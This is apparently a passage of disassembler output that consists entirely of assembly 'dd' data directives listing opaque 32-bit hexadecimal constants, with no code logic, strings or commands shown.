0D27FDAD0h dd 7A1B308h, 0CE9F8CB1h, 66FB7D9Ah, 2F8021E5h, 0BA12CAE8h dd 4236AD93h, 0AA859453h, 0CB860E29h, 0E73B5C3Fh, 292711F2h dd 361B8022h, 6939C64Eh, 3D1905CAh, 0BA213C68h, 14A1A697h dd 9FFD6948h, 51C714AFh, 8374DBAFh, 243DB7F9h, 764C3887h dd 2BE77FFh, 16B4924Fh, 45C4A0B6h, 3473C5C0h, 304D3BD0h dd 4BC787D2h, 1A8FCE7Bh, 0D25E7F5Eh, 3BBDBE5Dh, 8209B0EBh dd 0C0C17CB8h, 7BED4E2Bh, 69005A85h, 77D709BCh, 1130E236h dd 766519AAh, 0B50B6019h, 37A22D3Ah, 3438C027h, 885AEB3Ch dd 70BF6C2Eh, 5401DD1Fh, 0F3853356h, 0C0E75F8Dh, 11D18815h dd 2578B923h, 6E1DDB91h, 945031E7h, 0D4201182h, 5F2F18CFh dd 0D1DDF16Bh, 0F5D89D7h, 0C1EC427Bh, 55939FD4h, 64EF6E94h dd 0F6980C01h, 3D76DC64h, 0BE9EA1CDh, 0AE565435h, 0DBE743F9h dd 14309207h, 76E09B89h, 0B9343A07h, 836527FBh, 723A58F5h dd 0C759D37Fh, 0D73398B6h, 1E75B7D8h, 9516DFFFh, 4353B012h dd 396B01ACh, 534AFBD1h, 0E4BB55ECh, 0B89BE92Ah, 619FA8E8h dd 10D37698h, 0CECE446Fh, 9C8196CEh, 0EE070744h, 528CF9C9h dd 0D30E0FAEh, 14F8059h, 9E47276Eh, 588D7265h, 50F4A4D7h dd 0D268BBA3h, 8FF58BA2h, 2F3DE139h, 0E0488194h, 5381BFDEh dd 0FA4A3E31h, 14C0421Fh, 0AD50F59Ch, 0E067E8B9h, 0EB2BF90Ch dd 51083A9Dh, 56EC6F7Dh, 94D1E65Eh, 53CA82F8h, 0F6E7F663h dd 0F38BF672h, 0E59CC1D9h, 0EB72D965h, 235BB3DAh, 0B65BE169h dd 0CEF1FC9Fh, 81019BD0h, 8B4772C7h, 0BCF519CEh, 0A1D10A76h dd 0A937A0B5h, 59B98FF9h, 0CDF95146h, 4526F029h, 455DC4B9h dd 0C024D906h, 0FC898C19h, 17725F3Eh, 103A671Ch, 0CEED05FFh dd 0C50EDEC4h, 7FD0D067h, 706E6EBBh, 0C766AE0h, 0D046F772h dd 0FB7FB736h, 9A19E333h dd 0DC81612Ch, 0D678DBFCh, 0C068C4AFh, 0AA64E69Eh, 4242BAB8h dd 28501D0Dh, 41024A90h, 0C2A39F39h, 24A36943h, 2645D5A8h dd 0AB7F4A06h, 0C936C0F1h, 642D87FDh, 73B5F78Eh, 4D879A08h dd 71746D47h, 0B95D9A6Ah, 0D171BCF0h, 1E78798Bh, 7901355Bh dd 0EEA64A52h, 680E5FECh, 0EC3DA56Dh, 6483F4AEh, 60EC326Dh dd 0EC11FC3Eh, 0B22382BCh, 0F22CE14Eh, 0B4BA517Bh, 167EEF80h dd 6962915Ch, 6C7DB458h, 3EEDC0BBh, 0E8D891CBh, 4606563Fh dd 8DCCE119h, 837EC3DEh, 0A27C533Fh, 7D408551h, 0B16DC826h dd 72752855h, 0F1C26392h, 22608A50h, 2AAAE7B8h, 88EB66Ch dd 7C2E1F62h, 1D433F2Eh, 0B517B96Dh, 0B20CCCEAh, 0B6FB7444h dd 0C38B3F8Dh, 351D9C71h, 859C3AF3h, 275DB810h, 0E1799E1Bh dd 0CC82ED8Dh, 97A6041h, 1EFB7419h, 7AA9DB7Eh, 35346231h dd 0F17CE0AEh, 0E03E5FBh, 0FE7413Ah, 0A55498F8h, 0B8B64290h dd 4BC9EF75h, 3E8B830Bh, 7F8E9751h, 0B63A5BE2h, 5602AB4Ah dd 0C4D30075h, 4D7B6A4Bh, 0E3F8E970h, 0A2D781AAh, 98957466h dd 0E598F1h, 0AF77E009h, 5A62B3BAh, 0DA2F1061h, 0FD79241Fh dd 1165696Bh, 19137235h, 0AD7B1AF9h, 708532A3h, 5E0BC88Dh dd 7FB26524h, 38721E6h, 591A87E7h, 8F657214h, 105CC858h dd 87C95B94h, 1EF8DA47h, 0BF90E723h, 0C1E6E4D0h, 37630603h dd 4641A335h, 7C06B9F8h, 29500269h, 12D14BF4h, 0B56409BEh dd 84C465C3h, 0B7081BF0h, 0EB69DD82h, 156E6CB1h, 6378F787h dd 0E7ACC255h, 75169EE8h, 0C28B6169h, 0C5E66892h, 32FA13DAh dd 1C4B922Bh, 2229BF8Dh, 0B5CF8DFDh, 0A9DCFE32h, 0FEDE3791h dd 7DBE3EB9h, 916404ADh, 6D02A980h, 0AD3A2736h, 9DD5FD38h dd 27FD5532h, 7D401226h, 0AA85B2F1h, 2AEC83BDh, 4B91C7F2h dd 0ACEE8B0h, 0AC64EE64h, 8D29CFC2h, 280BD978h, 0F800CAE0h dd 6B9765A1h, 0A7E32349h, 0BFCF9452h, 27FF9D68h, 0F2D8FDE7h dd 6DB4C6D3h, 0A4111B79h, 0FF42AEB0h, 0DC1A6A20h, 0DF5409B9h dd 0A5BA67B7h, 27E684Eh, 1DB027ADh, 0A9BAC74Ah, 172294F0h dd 63DA9CD5h, 9689E237h, 0B04231F5h, 7BB80EF2h, 4B190172h dd 0A4346903h, 0A03379C9h, 0B4EF144h, 0FF592FC6h, 9F070DCAh dd 0EAA8AFF8h, 0AF383846h, 0B7BAAEDDh, 0D41F4Dh, 0A7B203D8h dd 434FAC23h, 0EED77EE5h, 2946237h, 9F9B6B7Bh, 0BD0588F1h dd 2559D49h, 0E7D05C77h, 26509A4Ch, 2CF0AFB0h, 9A648E4Dh dd 0B90E5580h, 3D67696Dh, 2B6FB01Ch, 64FA924Fh, 0E54486C4h dd 0BE3E6D73h, 2F61A8ECh, 9A3FDCC1h, 339DED2h, 0E99FE254h dd 74741204h, 666B1838h, 55E54014h, 75552314h, 910197C9h dd 33AA4029h, 0C3359D61h, 6F644252h, 9BF62514h, 0C95934F2h dd 53AD3221h, 0BC89C8B5h, 5141A542h, 0AC351FA7h, 800414ADh dd 6CB0B61Dh, 0ECC9D72Fh, 6C70563Ah, 3A05D32Ch, 32BDF973h dd 5918B7A2h, 3321C406h, 79ED47ACh, 0F5AEC829h, 76D851D8h dd 0D1E84005h, 0FD467A12h, 0EABB53F9h, 0A539DCDAh, 9A6E3AA9h dd 0DCDAECA1h, 3F6B2B0Ah, 0DA1C7FFEh, 74EB4CF0h, 0E1E31131h dd 664935E0h, 47953DAFh, 0CDC0E9F6h, 0A394FEA2h, 0C9883873h dd 0DAAFC022h, 5E8B4C85h, 5B2AC854h, 0C3E9EED6h, 0B8BBEA31h dd 109E8FC9h, 651DD66Ch, 0A5D414EBh, 5F85C895h, 0C4153E59h dd 0E7D12672h, 136C9ABBh, 3BC06166h, 95F64BD1h, 68A1BCFBh dd 786D7EC8h, 886732BFh, 4C400761h, 29AAB819h, 9547FC20h dd 83E5E8FDh, 5188BEBEh, 662E3B63h, 0B1609116h, 0BD905938h dd 0C13ADBE2h, 7DB2ECADh, 87065D65h, 4CEB059Fh, 685D8918h dd 654FF3FEh, 26493098h, 40C49035h, 0C4A6B027h, 1687F23Bh dd 0F1C52753h, 67476946h, 0E868634h, 1198E12Ah, 0FDEF0F70h dd 0B27BB014h, 5631BA59h, 883B47Bh, 2195F6CCh, 2A4B171Fh dd 12AC646h, 0F0A7345h, 226AC29Eh, 0F19A0D47h, 0D92F9E71h dd 0EB5DDADDh, 1EB8473Dh, 6DC17329h, 208DDD6Ah, 2FAA54B7h dd 71EF6497h, 0F821F57h, 0F2545FA9h, 0BBCDF6BAh, 0C227685Ch dd 596B99Eh, 0B74E5BDAh, 6BBB9602h, 1C9150A7h, 0EAE85251h dd 0E29A8BF6h, 5B32F48Eh, 0BECE1015h, 0D6D758C8h, 0AFDAC108h dd 3DDB984Bh, 32CAFF38h, 0CBA6B8E5h, 64D204AEh, 0BD1F7CB3h dd 12FBE149h, 38B1C311h, 0D1F83280h, 573049B3h, 1BBF5E7h dd 583B19F5h, 0DBCBBB5Bh, 69569DDDh, 3C49A10Eh, 282ED713h dd 7DBF6CD2h, 0ADF5F2C0h, 887199F9h, 14B84D1Ah, 482CC5DCh dd 4E31940Ah, 58BBACE0h, 0A1749690h, 2D7E6970h, 0A0CC29C4h dd 6822CB4Ch, 0CA2810D3h, 448768C5h, 34E444D7h, 0CA6FB420h dd 5961E923h, 49453D3Eh, 76E64112h, 2C432C59h, 4828A1A8h dd 5CE28D30h, 929C27F3h, 0C181E796h, 12F5C5B4h, 71C025F5h dd 63C725C1h, 122A0204h, 8572A917h, 0F0F6016Fh, 16060474h dd 5B3098C2h, 64E02FCBh, 1523FBCCh, 0FD81A04Eh, 0CF54101h dd 1EE2F1D0h, 1EC6EF30h, 0FFB02FE2h, 0A4D39ABFh, 0C85E3967h dd 63E19CEDh, 14A6802Fh, 923F132Eh, 97995B7Ch, 0CA1A331h dd 22DB9C6Eh, 4106E3F3h, 0D585FA3Dh, 13B811CCh, 0BB0697E4h dd 2E1F2EBEh, 7E526E33h, 15B214F4h, 86F439FCh, 89F68092h dd 0E2BE3F84h, 1C817201h, 0F1EE07D3h, 6024B734h, 252948D2h dd 9F7D84CDh, 0C6DE17h, 0BE21C521h, 4E3DF19Fh, 149F864Dh dd 14BFA8DDh, 0FC014F03h, 82322BA0h, 4DFC76ADh, 930EB079h dd 0A790A0D1h, 76BDED1Fh, 853C5467h, 0C507C0BCh, 4F463E30h dd 591313h, 14E9D45Fh, 0DBA94309h, 71CB8037h, 41E037C0h dd 8DADEEFh, 0A5C6502Ah, 0F23CA8ADh, 1C89DF95h, 0FCD6247Ah dd 0C84DB9C6h, 3B25FC6Fh, 779231A9h, 0B6600FEBh, 8DB30BEEh dd 0F545ED48h, 673BEBDCh, 2E85BCCBh, 0C559C2DAh, 0A4E1ADAh dd 0DA5C8445h, 0F488CF07h, 2C456A7Ch, 3357A7B7h, 2444A7DEh dd 48BA4FAh, 8DE9EF5h, 99D47BDEh, 0AEDBA996h, 880D3188h dd 18C13C70h, 5E601C06h, 0C1FF1528h, 9463A9BFh, 0B279BF84h dd 3331C98Dh, 54C2D37Dh, 5F40D7B3h, 9AD3BD64h, 7806CAFh dd 72423649h, 58B00762h, 0A6552341h, 0B2554621h, 0D12465D6h dd 3345FF87h, 7246256Eh, 0AE212E58h, 0CC25F92Bh, 189C95DBh dd 38CA7E91h, 84557259h, 0C86CD3C1h, 0D074D7E3h, 1DF516E0h dd 0E933FF74h, 0BDD121CDh, 576DC24Ah, 9A2E806Fh, 93072191h dd 7ADCF96Ah, 14E7F8FCh, 21BE67EEh, 48EB8959h, 0D8B9E8ECh dd 7A4CABBAh, 6A14A0CAh, 754F88F3h, 147ACC20h, 122CEC5Dh dd 386473F1h, 94ED9470h, 7513B09h, 695095Bh, 9D417882h dd 4B8E1B8Bh, 0A760A83Eh, 0E39B042Eh, 0EABB717Fh, 9A0414E2h dd 4AC8C211h, 3785122Bh, 3EA8DA0Dh, 0E26276ACh, 0C0D6AB55h dd 3C9D41C3h, 0F2557A5Bh, 0DD38BB4h, 8F51A1F1h, 21279F65h dd 2452AB18h, 0CF73CE7h, 0AF2F72DCh, 57391C9Fh, 39A9BCE4h dd 59517A1Dh, 566A81F4h, 0F339EA55h, 0FB23235Ah, 90E93FFCh dd 0B7BA6049h, 0DDADD85Fh, 26BF9DB0h, 45880CE1h, 2212327Ch dd 1CCB119Bh, 8CF3F7D8h, 9108B2DAh, 0AAB9441Ch, 21DBA2E2h dd 489B63ACh, 0C429FD61h, 0DAC7409Ah, 376F5567h, 61400B08h dd 0AF19F38Dh, 78ECE522h, 0F4BF09D3h, 0D1250AEDh, 88B0A814h dd 4D4F960Eh, 0AF13104Dh, 2710525Eh, 0B46D0E1h, 0F6DBD608h dd 465F0650h, 3ABDF424h, 0EC6C5C38h, 7588D1D2h, 0FE839A2Dh dd 1782462Dh, 0EC1B5D6Ch dd 0E30C31CFh, 6813AAF0h, 208EFF98h, 2CD8E6C0h, 978E6EC5h dd 0AC02F2ACh, 1E060AA4h, 28D45971h, 1F249468h, 0E27234D6h dd 360F89DDh, 0B93C376Ah, 901114Fh, 1C553536h, 0D36750B9h dd 744FDC32h, 0DC648085h, 0B0C2283Dh, 0A7AA8ECDh, 81D07183h dd 4D3732EFh, 3E8C218Ah, 44A1D6AEh, 22C7E715h, 2E0540DAh dd 0F72299C9h, 87039759h, 0C892D8C1h, 15E4F9CDh, 50F7B09Eh dd 92900BADh, 0BC5B17EEh, 44E6D681h, 7666A81Fh, 8D1B1266h dd 1B02C377h, 98A1D602h, 9BA7D305h, 0B21BD1BCh, 0DBB402AAh dd 8E821C90h, 6E4A89B1h, 5CD9EE67h, 0B8B55F85h, 4334F1C5h dd 84C23D6Ah, 283C8C5h, 9DA342F9h, 999D9C02h, 74C429BCh dd 6AC9FA02h, 5C90C6E6h, 10E55417h, 5410DFA9h, 24ECD0A5h dd 6C320147h, 6ABA6530h, 8ADBE844h, 0B8036BE9h, 0FC16433Bh dd 0F7C7FC30h, 233000D8h, 0CA44D6BAh, 34582064h, 635B7385h dd 0CF6C4B32h, 6AA414F6h, 0FAF6B6B6h, 0C64B36F1h, 0DDC960D2h dd 67D4E989h, 8AD05D00h, 0A432DA1Ch, 21144C71h, 2A931541h dd 11C6AAABh, 15E97E64h, 8D869736h, 0DA0DE13h, 0BC4A0B74h dd 7D174AFDh, 0A286639Ah, 0BD3547EFh, 1EAB4FBh, 87BB382Dh dd 296629CDh, 0DD1A2BE1h, 738F6C29h, 4006BCABh, 476BA4BFh dd 0F9F3393Eh, 64055AA7h, 6AF3725h, 1052A467h, 9EF87F70h dd 5C5FDAD3h, 0D7D9946Bh, 94AC5B9Eh, 0C6CFC3FDh, 58312901h dd 37C39AC3h, 0B57B232h, 0BD425A29h, 2A6E48E7h, 0EC6CAF2Bh dd 0E92D817Eh, 0F983BED7h, 0BA97362Ch, 0E4764C10h, 0B0EB4ED4h dd 178A878Ch, 6546821Ch, 8014160Bh, 6EA526ABh, 62BA1AA2h dd 8A4AAAE3h, 0ED639815h, 0DB203214h, 0C9944AA3h, 413F4964h dd 7477E5CBh, 2E9D6079h, 4B1A6FBFh, 0B8C55B44h, 5BE68AD9h dd 6517A74Ch, 37EC8508h, 0FDFE25DAh, 0BB624DDFh, 61E3775Ch dd 0C2C4292Ah, 0C5E64160h, 0E79E1D5Bh, 0ABABCABDh, 0B31D6EB6h dd 0BB8FB01Dh, 9F897C2Ah, 61F6353h, 56EF4F8Bh, 0B4C743F9h dd 0E8F90FEAh, 587B003Fh, 98C441BAh, 4574E495h, 0F33370Bh dd 0B2477227h, 196E25FDh, 47524E7Dh, 0EE21F554h, 37EC8E7Fh dd 5D2C7079h, 0C3A63AFh, 2B4A6E99h, 0F8C0FE9Ah, 73686B9Bh dd 0E50B364Ah, 77C5A35Ch, 307407B6h, 5E5AF963h, 9BB610A0h dd 92404174h, 0DE3B9A53h, 0E603456Ch, 85165D01h, 0D7452E29h dd 4C51B9ADh, 17E4A92h, 0D6BAEF66h, 0A82A8230h, 0FAFA7C9Ch dd 80C1DADBh, 9885290Fh, 0ADB5E937h, 7D8C8139h, 0E39D2755h dd 959ED561h, 773666CBh, 1A2292FEh, 536C6252h, 0F7A980F1h dd 3945AFBFh, 2FDFAB53h, 478EFF12h, 4114583Ah, 1465165Fh dd 80C3D297h, 0FB5AF1Bh, 0D665AF8Eh, 8C5C8FCDh, 0B25AA869h dd 0EB28E799h, 0C5E95EFh, 13642B76h, 0D199128Bh, 2DB8A275h dd 5732AB58h, 0F43052A0h, 8EAA2AFDh, 0FC1DB7Ah, 7E233F40h dd 0D3179450h, 1E310119h, 4A195816h, 5046E9F1h, 8DE8ADC9h dd 0FEC983EBh, 2A11D22Bh, 0A74A61D3h, 0FDEAFD47h, 0BD1B4D48h dd 18A41059h, 84AE99B6h, 0EBBF48D9h, 6834E9D4h, 149E5B9h dd 76306ABEh, 0C8ABF51Ah, 4CFC468Bh, 2A2DBDC2h, 13221085h dd 0FC5FD85Dh, 0DFA31C40h, 7297EA1Fh, 4E7712E9h, 0AC9002A8h dd 26758DEBh, 2CA02AEAh, 6FAA2FA0h, 7D75F36Eh, 4A545230h dd 8849B1B4h, 0F1053DD1h, 733091F4h, 447BE8D1h, 0DF32A818h dd 0B3439ACAh, 7E6DEF2Dh, 51E257E4h, 0C4CBB6C2h, 4FAD7B06h dd 2FD7621Dh, 0BE65B092h, 0CE6F7C3Fh, 0AF1C1CC3h, 0A2CF739Bh dd 84DEEA7Ch, 11B4B334h, 60DD7094h, 83D5F2DAh, 0F9261CD3h dd 0C66A7AD6h, 498FFFBAh, 0EA078144h, 6B18A3E6h, 5F9D5DB0h dd 7B55FA1h, 57521505h, 0F1077BE8h, 0AE47225h, 98CF7DEEh dd 8F2D917Bh, 722031CCh, 2669D624h, 30B246BAh, 1DD816EAh dd 0C5074414h, 0ACF53F5Dh, 836D1B23h, 0CFD78AEh, 67BB1AEFh dd 9E3016E2h, 0CE3DA7EAh, 0DD9F91A8h, 3E026C39h, 2D8AFE27h dd 0CA884361h, 669E4D8Ch, 3FD4472Ah, 3B1CAFAh, 0E0F34C4Dh dd 60A155D1h, 5DFA9DB5h, 0C273BFACh, 693945C0h, 0F00FEC48h dd 3DC69955h, 1E123B5Eh, 0EDF3E2D4h, 0DB9E6BCEh, 65975102h dd 2566118Dh, 557BB2F5h, 0DA4ABA1Fh, 28A34E4Dh, 827C88B6h dd 0B55E917Ch, 0C554F13Eh, 6B3D2C99h, 2ED03F44h, 9A5842CEh dd 5D7B2605h, 3DDF8248h, 0D4EA4AD1h, 0D0482FD5h, 59A0C385h dd 0A4F47563h, 8CC2C2EBh, 31EBD97Bh, 0E1A00DA7h, 0A43F609Ah dd 2BD710AAh, 0C23C8481h, 35B901D3h, 21453FA6h, 0C54C663Bh dd 5FCD1D63h, 0D8557BB4h, 0EE6738CEh, 1FC25B65h, 2F332888h dd 2B908D68h, 0D2B21A6Ch, 78DEC4FAh, 800DDFE3h, 0F14E0F2Ch dd 80D0E8E5h, 6B2F3CB0h, 90839CFAh, 1BC6228Ch, 80F2A709h dd 0CA903DA9h, 0D3CDF738h, 0D8AC183Dh, 3515DF2Dh, 35665DBDh dd 0FAFF77C6h, 66C7D6F9h, 487B13C4h, 1287DBE9h, 2E503280h dd 0F1060778h, 0F98B1DD4h, 26C5BE6Eh, 292173ECh, 0D896E103h dd 0BA9AD47Eh, 0E6AC5EA1h, 0A1B5D982h, 8507142Ah, 2216834h dd 89C5E49Bh, 462F9D38h, 9A21E4BDh, 58138F91h, 7BCD271Bh dd 0F6A1DC01h, 90CF06C8h, 8EB86C80h, 2B2CA37Eh, 9F1ED925h dd 0E581602Eh, 7C7B1831h, 805C9DCDh, 1E2EB08Ah, 0A5989A35h dd 3C71B033h, 31B92124h, 2419A9A1h, 526F29h, 0D4A2569Ch dd 52B85D6Dh, 0D5838768h, 21EB0B8Eh, 0BDDD440Eh, 37B7AFC5h dd 696748Eh, 82FF0106h, 6A29FFB7h, 4F3F508Dh, 0B876618Dh dd 0A1377057h, 74C1BA7Fh, 0F971772Ah, 11555484h, 5A046A9Dh dd 28CB65ECh, 74BA75C5h, 65C08D57h, 5EC934FEh, 6612730Bh dd 1FDFFBE6h, 9AD6A96Fh, 1D8F1CC1h, 0A2CA7747h, 299F51Bh dd 0DE8F9E62h, 0AA29EA87h, 0C74B09h, 36FD29E5h, 0AF88E191h dd 9B1DE92Dh, 0DBE462B4h, 7A0EC13Bh, 842EF3BDh, 663EB085h dd 0D5F8EC67h, 0F41FFC7Ch, 404EF267h, 0C984990Fh, 5B5AAAF5h dd 3AC64F7h, 2CEB6F42h, 0F689ADE5h, 0ABE40170h, 0E9796C94h dd 45748B0Fh, 86D28D7Ah, 84FC0039h, 0AA6BD38Eh, 973DC696h dd 511F93B8h, 45A3FB49h, 0B84B56FAh, 0B227B934h, 3BD76804h dd 0DC7E7D85h, 0B5F157ECh, 0AA6A4914h, 0F3995C59h, 75FE7827h dd 7652C07Dh, 0D0C07DAFh, 0B1669327h, 0CE59CEB2h, 0B9F88AE1h dd 690A0248h, 0D4D11A75h, 0F3B8AAB0h, 49BEE1Dh, 4D31C4Ah dd 781907B4h, 172CD03Dh, 603EBE06h, 7F77EEA8h, 5B28637Ch dd 0D40E5045h, 585C6CBEh, 0DF922391h, 0DA642A7Ch, 0F0490B90h dd 0ACBE8A74h, 882C927h, 0C65DFA0Fh, 5068185Dh, 2578077Ch dd 16D1D02Bh, 1E6F67Ah, 0D944CF2h, 862E5290h, 0CBE0C296h dd 390181F8h, 3FDEF3FBh, 81EBB599h, 2D170351h, 279CD84Fh dd 0AE2D0E8Ch, 98B2C55Fh, 792FD339h, 364799E5h, 37DD8885h dd 0ABCBD20Fh, 0E31F918Fh, 0B3C97745h, 6451A543h, 0DDA299F0h dd 8250D03h, 0C8805E81h, 4BF640EEh, 0A208E322h, 9323A180h dd 0A039FD2Ah, 880027Ch, 0B4AAAB22h, 0DA49298Dh, 0FBC52EB4h dd 19C78FB8h, 0F84695FDh, 637A1817h, 3C9E5A11h, 1ED97153h dd 1368E067h, 2C357EA3h, 2B76E738h, 9DD624ECh, 0C391A334h dd 646A7075h, 8E32E895h, 453B26F9h, 0D3C5FB04h, 0E11C946h dd 607F93B1h, 7B2DAF11h, 0F3BD7B68h, 73690BEDh, 0C24767B2h dd 4F3538F9h, 0B81AF128h, 1449A467h, 21A2C77Eh, 0E3B36866h dd 2A3CB18Fh, 6316B73Dh dd 6083F79Dh, 4CBDACC4h, 5979260Ah, 0FB37AA7Ah, 0AD919663h dd 722DAE36h, 49A7111Ah, 0E16738A2h, 280A7E1Fh, 0C535A9FBh dd 0EB7B25D7h, 0F8DE7EDFh, 63330C7Eh, 0FC210BC0h, 3D11DA81h dd 0C47A8D45h, 0EE237B53h, 217E0E2Ch, 4701BF6Ch, 4022A2A1h dd 1BD9E672h, 0DC406DA3h, 5131D2Bh, 8C39B4E9h, 8235F649h dd 0A091545Ch, 951D2407h, 4CA8D115h, 0B9691F6Eh, 0B5869314h dd 22471C78h, 6EC8C3C1h, 945828A5h, 0A72994C6h, 8FFF8C93h dd 7046A4D0h, 6EC99A86h, 84C79C98h, 0BB40C7F2h, 603BBAB5h dd 10109691h, 9C12430Fh, 2DA732B3h, 0C3E11021h, 210483F6h dd 7C38EB1Dh, 9D7EEB55h, 0C7F76567h, 42DE67C9h, 0B9997C38h dd 9FC2E791h, 3F01ADA5h, 25EC06E9h, 0B100DC01h, 0B41FCEC3h dd 1DF769DAh, 49BCA750h, 2E37F8F3h, 0EADCC02Fh, 92F202F0h dd 0F78FB9A3h, 39830B14h, 0C3D1DE26h, 0F79B3FF3h, 37E78425h dd 64579D79h, 40DF6D9Fh, 0AAA33B14h, 998CF14h, 4C4362DDh dd 8A06FD06h, 2924F5A8h, 0C73C8B13h, 0E40F1742h, 77EB1F23h dd 0CF0BB439h, 6BA3D48Eh, 9926B9F4h, 7CBD8649h, 0FB9F5564h dd 10BE6DE4h, 0CFEE8192h, 1E3EDBF1h, 8D4416FFh, 0CF848A12h dd 6A94B26Dh, 5F118C36h, 596FCEF0h, 4825374h, 0F92A075Ch dd 74A427B8h, 0C999A6E1h, 0DE392119h, 66E39A43h, 0CD3B99A0h dd 9B0AA497h, 85BB540Fh, 59B052D3h, 1D086BEAh, 646F4EF3h dd 0F40B9256h, 19E38422h, 279BC4CCh, 7A9D8F6Eh, 38179EB4h dd 8A9642BEh, 0E2D703C0h, 0B5085C67h, 1CE9EC7Fh, 0C4CBBBEBh dd 3630A49Ah, 3860A9E5h, 53E090BFh, 8D028267h, 0C57D35CBh dd 0D61C6FE0h, 0B9C7A80h, 0A4421E2Bh, 5DBC52F2h, 40681682h dd 75486ABCh, 3A1EB5BFh, 612CF6B4h, 0CDDD1222h, 4B00B39Ah dd 0A32FFABDh, 78E2F0Ah, 742B6236h, 88EB69FAh, 20376DFFh dd 0FCD5E13Bh, 0FCB8ECA5h, 3AD405B5h, 0B2F74090h, 58AF83E0h dd 8E7DDB02h, 3D345B50h, 0B761D962h, 8CDF10E2h, 0CBB6EF23h dd 0C6B39EFBh, 0F787F519h, 0D67DB252h, 0B2A3EF8h, 0BAD01771h dd 0ACB5A88Ch, 0E04230Fh, 0F65C44ADh, 0B1EF2091h, 0FECA5D2Ah dd 0FB58589h, 9E32CD4Ch, 0C405BF4Fh, 420A3575h, 783C1036h dd 0A9BD4E34h, 83A3D7AAh, 0DA43E455h, 29B0AF3Bh, 27ADB271h dd 63858743h, 0F2C5426Eh, 1B6DD9F0h, 0C23F2C54h, 0B0F19DFFh dd 0CF46A181h, 1DF01AF1h, 0BF689048h, 0CD28651Eh, 0C1D0207Dh dd 9CB47E4Bh, 0B77DCE3Dh, 62AE68AFh, 52CFDE7h, 6B7A9518h dd 0CA5F176Ah, 0A5A9C83Eh, 4E6E3557h, 0B93435B7h, 369AC19Bh dd 5B3E65ACh, 7771F318h, 194A08B3h, 0FA819FC9h, 1D2B817Fh dd 6BAE000h, 0F3897EB7h, 12DAF0A2h, 75866C94h, 0F8562FD3h dd 3DB3A22Fh, 86E40623h, 70DA9EF7h, 0E2F163B2h, 0AAE1687Ch dd 0A0FB2914h, 344141C1h, 1F1F58B0h, 0E3A55CB9h, 792FD7C1h dd 0C1CCC54Ah, 120954D0h, 0C96D16D4h, 81F87D84h, 0C62E0059h dd 69B15377h, 79515A73h, 0B3D5664Ch, 291540DCh, 0D7D3CD0Ah dd 5C6E8CFFh, 6730C24Bh, 0A7D7FA07h, 0D5AEE461h, 90368AC4h dd 11D430C1h, 7E85953Ah, 0E309939Ah, 2A612606h, 0E833EF43h dd 96023224h, 1BB7D753h, 3C61B920h, 45F3EDC4h, 0F110A40Dh dd 0B5A5B4E1h, 2A524B1Bh, 2242596Dh, 9EA9DD80h, 528EB8CEh dd 421564BBh, 0D1D77598h, 1627F622h, 537C70Dh, 4EE4C3F0h dd 868C7DD1h, 4F85E0D2h, 0E1267110h, 0ED2164F5h, 5171A782h dd 2FA99722h, 46EB5606h, 81EF8CD1h, 88DF475Ah, 0CD335AE4h dd 0EEE37B29h, 0AA528457h, 1B2AC872h, 963685CFh, 0B64EA3EEh dd 5293C0FAh, 9A306048h, 195DE3CFh, 88AC64A8h, 1D539526h dd 5530B347h, 7DE36069h, 7804721Eh, 0A5AC63F3h, 19D33F71h dd 0FD0C7E5Ch, 55E6166Ah, 43E1793Eh, 8EA6AF06h, 0E2A83003h dd 0B477E245h, 6D80470Fh, 125CE466h, 11EE94BCh, 0D10402A5h dd 0AC78FBC4h, 0D5D50E8Dh, 0C62EF54h, 0BA741369h, 9DD38370h dd 0D98C2497h, 0F8EA96Dh, 1E68C300h, 0AFE4F03Ch, 0F35DEAD9h dd 0B4272ADh, 856C359Ch, 0D7E5CA9Bh, 834A703Bh, 84B3EC1Ch dd 99EC8F54h, 188F5AC9h, 0AB3BB36Dh, 288844CDh, 112679CCh dd 2AE9A46Fh, 432B91C4h, 0E503D5D2h, 292D872Ah, 39EF07D7h dd 0ACB6645Ch, 1351584Dh, 0D27B480Ch, 113D5A97h, 0D8F43B6Ah dd 7D4B176Dh, 0C098CE0Ch, 4984E390h, 6EDAE430h, 71965E0Dh dd 945B4DA1h, 51867B04h, 0B60AAC88h, 969ABBF0h, 4246CA73h dd 926496B9h, 0B51ABBF3h, 0E17AE778h, 18CF3A45h, 83EFC468h dd 5C56C97h, 45AAEEDh, 0B4026445h, 0C0893CD2h, 4AE5E670h dd 0D1924846h, 0FF72A9F9h, 0C409EDF4h, 60E669B2h, 0D3A6EFC8h dd 8811C5FCh, 583B8151h, 3073516Bh, 0B7390302h, 0F9FB534Eh dd 0AE6EFB89h, 5FFB6FA2h, 0B5DE00E8h, 0AF01F7AFh, 0A43C63AAh dd 7E1D7195h, 6FB5B178h, 6B8C6DB3h, 0E49A86A7h, 27EC8520h dd 27154E8Fh, 9FF92F3h, 934CCF4Eh, 5492C87Eh, 2533D1E9h dd 0D16BB629h, 9E43D293h, 82D172AEh, 0B20E73BFh, 9EADAFD6h dd 6004B53Bh, 0A45F1C2Bh, 1C214A06h, 0B14E0EBCh, 685BA33Fh dd 7521CAC4h, 8B967009h, 9B48798Bh, 0D1C3CF6Fh, 6F8AE868h dd 5B40E807h, 0B115B90Dh, 0F18A4573h, 0EA265290h, 0E2A98A5Dh dd 56A0FD81h, 0CE222FA1h, 0C4084CC1h, 4DAFFEBDh, 1B39B43Eh dd 0ADC9A21Fh, 0ADE8A554h, 0D3FCA3BAh, 0E7B807F9h, 63CD7F0Dh dd 525569ACh, 2A968B34h, 37FAF66h, 4FCF253Ch, 0CB910FDDh dd 7640EBF1h, 1155297Ah, 9CA832F1h, 8191D958h, 0BEB68BD7h dd 210945C7h, 5766779Eh, 0D136C18Dh, 29463190h, 8CF18361h dd 103C878h, 0E9B2129Ah, 0AEFD5E70h, 1EE21527h, 0CEE0073h dd 19C3DEF6h, 6D7856A4h, 0AABB7C93h, 15D32DE8h, 0B2A42409h dd 343D073Bh, 21B50A33h, 8D02757Ch, 7690B525h, 80D6CA5Ah dd 98C17F8Eh, 8C0A95D0h, 0D9D2D672h, 5D9EB6D3h, 0BB8AEDA7h dd 9748C908h, 57034E8Ch, 0EDB1E386h, 0F861E2h, 0E656E80Dh dd 0FBDA3311h, 2D310EC6h, 47F9D321h, 0FF66CD1Fh, 4B56CE58h dd 0A61AF6A0h, 0CE586B14h, 0DA84B709h, 70BF16CBh, 3F36A991h dd 0E82504F3h, 59B1CA82h, 0C155A56Eh, 0B1C96CADh, 6BBDAA97h dd 722CC56Ch, 7D56AF6Bh, 0E7F48AC3h, 0DA7CA28Ch, 0DD22C7C9h dd 